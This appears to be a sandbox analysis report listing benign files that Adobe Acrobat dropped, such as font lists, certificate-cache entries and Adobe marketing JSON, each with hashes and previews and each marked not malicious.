C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	2.215462905603721
Encrypted:	false
SSDEEP:	24:7+tWgnnuwKWqL0MzkrFsgIFsxX3pALXmnHpkDGjmcxBSkomXk+2m9RFTsyg+wmf2:7MZnCWq/mFTIF3XmHjBoGGR+jMz+Lhe
MD5:	84CB90A122A870133E0431B06E0FBC91
SHA1:	64807FCACB8081F29FA7AF89C413950C454096F1
SHA-256:	B9B80210A414435D985C5A1BBD6645B465CDB8A2B9FD66718116DD8045BF0576
SHA-512:	1043BBC295E4EFF1D687BAB4F73A194724DE7A74C226D27BBA8DA8AADACBD5DC2FA41C053C66B3641A3ED06D3D7462CC0E0AFECF4071273521222A7BEDBD4DA2
Malicious:	false
Preview:	.... .c.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.732136534099206
Encrypted:	false
SSDEEP:	3:kkFklpa1Tpk3/tfllXlE/HT8kpll7/XNNX8RolJuRdxLlGB9lQRYwpDdt:kKR1+3/eT8u/7VNMa8RdWBwRd
MD5:	91D83F93E17C49A8849D92B8353CB5E8
SHA1:	ADCA4AA30450AB263723566A591E42006C1DD07C
SHA-256:	2BBD4BF855C886987437E8013F242397F043D5BFD1F34187D9757B17B683276C
SHA-512:	C67F029C496C486830C27119F04FE61F96BED6967C978ED15CF1BB370BA7455860CDD5F7922C9475E8AC8581CA60DFADADDCEC9FF8C0AF241BBB307E97F57530
Malicious:	false
Preview:	p...... ...........P.c..(....................................................... ..........W....fP..............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	328
Entropy (8bit):	3.1188894571028145
Encrypted:	false
SSDEEP:	6:kK3TPL9UswDLL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:jiDnLNkPlE99SNxAhUe/3
MD5:	87DFAB110EC7F2B4BF75164D05A0848B
SHA1:	3301EE1FE4D58CE68985DAD18742B87E3CB50356
SHA-256:	B9351044C3662B35B828046AC468D30B68DF583D0A46A74A3902452955990723
SHA-512:	3B7673949BE2690A0BBB318DF7A0913DBB96500ABD67DFE24B992C2A2BE8836B1618F2EE9F42985BBA9235F1DCF6D3BEFCF034238EB76CB0D5F479A19214CB94
Malicious:	false
Preview:	p...... ........H.1c.c..(....................................................... ........G..@.......&...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.1372

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.1372

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.342071622164882
Encrypted:	false
SSDEEP:	6:YEQXJ2HX7xKdhnZiQ0YmxoAvJM3g98kUwPeUkwRe9:YvXKX7xicOGMbLUkee9
MD5:	89150E27D56A15B3C79CE809CC7BD222
SHA1:	983605C261886C76D0FFD318E261F9BBB33C65FC
SHA-256:	26D2BFD9DEA4A128E0942861E144797549F41087535AEA0B74A33768771D566C
SHA-512:	2EEC00C6B11925C84942E02BDBCAFB95496B7975F114B41A441FE89E836528DD14152D1753C7C36C30F5F9E8A1FDB90D4E5B77420DCF2FCBE091B623C3B13C50
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"dee24ae9-2222-4564-915c-35d212935213","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736757493270,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.2955799336747
Encrypted:	false
SSDEEP:	6:YEQXJ2HX7xKdhnZiQ0YmxoAvJfBoTfXpnrPeUkwRe9:YvXKX7xicOGWTfXcUkee9
MD5:	9A17FFF0969535B78A1B0408818F4EB6
SHA1:	F3E5D0C8E8680AD41125A11D152899A0F2FAE074
SHA-256:	17663B2810F621EB74A6711DF63F6AAB8673D1DBD7E091D52F01932E7ED73E00
SHA-512:	A59503595DE1718A6EE8F74EE818A74903FBC8E4F5418F2A0155B7E3ED888BBDF6F6325DDADB10BAB254008D5A633C3D441DBE32E2AE1193B0EB1033EEFBABF0
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"dee24ae9-2222-4564-915c-35d212935213","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736757493270,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.2748477275893695
Encrypted:	false
SSDEEP:	6:YEQXJ2HX7xKdhnZiQ0YmxoAvJfBD2G6UpnrPeUkwRe9:YvXKX7xicOGR22cUkee9
MD5:	1DA20E28CF34245EA91E08BA75E224B3
SHA1:	67D0BF9AD748E5430E447AFE9A84F1ABF3EC681B
SHA-256:	5ACDEB4F6AE04FE66192C507507363EC6662E98A8EA4C35BF9B71BD31110FB8F
SHA-512:	5C0906AC39F54188FE1453F5F2B4D800885FB77FDDE4D4956A63046299C36D74D633CEB5C31E147A81555DB2600F22DE2ED11A05F0F648BE7A20D9F84EDFBFE3
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"dee24ae9-2222-4564-915c-35d212935213","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736757493270,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.321347118384878
Encrypted:	false
SSDEEP:	6:YEQXJ2HX7xKdhnZiQ0YmxoAvJfPmwrPeUkwRe9:YvXKX7xicOGH56Ukee9
MD5:	E46D4A49FA916D6CB1EBD50C2D59DD08
SHA1:	6FC4183C39349AEE6FBE6B2D813679923E2CFDB9
SHA-256:	B7C4379BB1DB8A83D2F5E7B3FD2B4126A7BD6222525D7AE8E9DFB718F982E500
SHA-512:	5909A6E458E21D3CC93418280D6E71860A054265505DED7A1F3A52F803A391308ACA3CD7C9259C9B007FE2531269B45962D25B5E498068AEDB2D41EC6C25AD43
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"dee24ae9-2222-4564-915c-35d212935213","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736757493270,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.687445475137888
Encrypted:	false
SSDEEP:	24:Yv6X7F7pLgE9cQx8LennAvzBvkn0RCmK8czOCCS4nY:Yvghgy6SAFv5Ah8cv/1
MD5:	B5EF8E18BE54A6686CC696A12B07A164
SHA1:	E542B9B23EECA7B826275278BEF25A89B67D1F80
SHA-256:	2496711AF2F4EEB9BBB2149154DB627C3D0EAE85862D53EA26594CE3E8FE4779
SHA-512:	4A3F21D9458267BD686648C93A8312FED5F0BB6D695D3839E5A8D1A40081FD09502D5E19DD733F6FFC3CEA89CDC2AE7991F8B23AD06A371204FAAA6A178FF339
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"dee24ae9-2222-4564-915c-35d212935213","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736757493270,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.270855562655286
Encrypted:	false
SSDEEP:	6:YEQXJ2HX7xKdhnZiQ0YmxoAvJf8dPeUkwRe9:YvXKX7xicOGU8Ukee9
MD5:	3DFFA511391F2E124F329D7A55CEFB46
SHA1:	0A038965D2928DB1CBF02AD8002CB3337A53430C
SHA-256:	C189FA3041C58CAFF80F1F5180040F60223A9861D7AEC5CFDFEFD7BE0B5834A4
SHA-512:	FDCA9A8E4425533348C2B0BF2726D537D684E3C990529244E265FCAB899CE5DEFA2F5479706E983E56BE4665DB20E6D09C970418C3EBD6D90EE069979B1B2A8E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"dee24ae9-2222-4564-915c-35d212935213","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736757493270,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.273223619838834
Encrypted:	false
SSDEEP:	6:YEQXJ2HX7xKdhnZiQ0YmxoAvJfQ1rPeUkwRe9:YvXKX7xicOGY16Ukee9
MD5:	E7700B43678F298DC6A6F483ACEE912A
SHA1:	099E87A31D560B3709D68696421912C604A58264
SHA-256:	6B04EA36D4F4EE06EDCB8449FBB89CC5C18EC00E179851F7C6E702E5FD4CCAA9
SHA-512:	4420E696107858BE117ADD4ECF9EBB8A8DB3A01C206EC32652FDC52DCA96108755615BADB989123C82B33226B3E448018E0D3088BFD3EA064A2FCAD7485098BC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"dee24ae9-2222-4564-915c-35d212935213","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736757493270,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.280840063564088
Encrypted:	false
SSDEEP:	6:YEQXJ2HX7xKdhnZiQ0YmxoAvJfFldPeUkwRe9:YvXKX7xicOGz8Ukee9
MD5:	84B1FD27E7534233F42CE0A3D56D1930
SHA1:	77A61E72EEA6FD56FE32D1A3B17E7F603EDC48C0
SHA-256:	41691646F5E88856D613B7AE45BC7E040D6F0FF41EF540B33BBD49E7F929BAB0
SHA-512:	4A40587C9B55AB83114D851ECDD680C5D26C28A80A67E31E29F85EBE33A1D3EE599F9FD3F311FAD602D7EFA6F0038E68CA4AD30867FD537FB52F6E36E9176A02
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"dee24ae9-2222-4564-915c-35d212935213","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736757493270,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.2976510384155375
Encrypted:	false
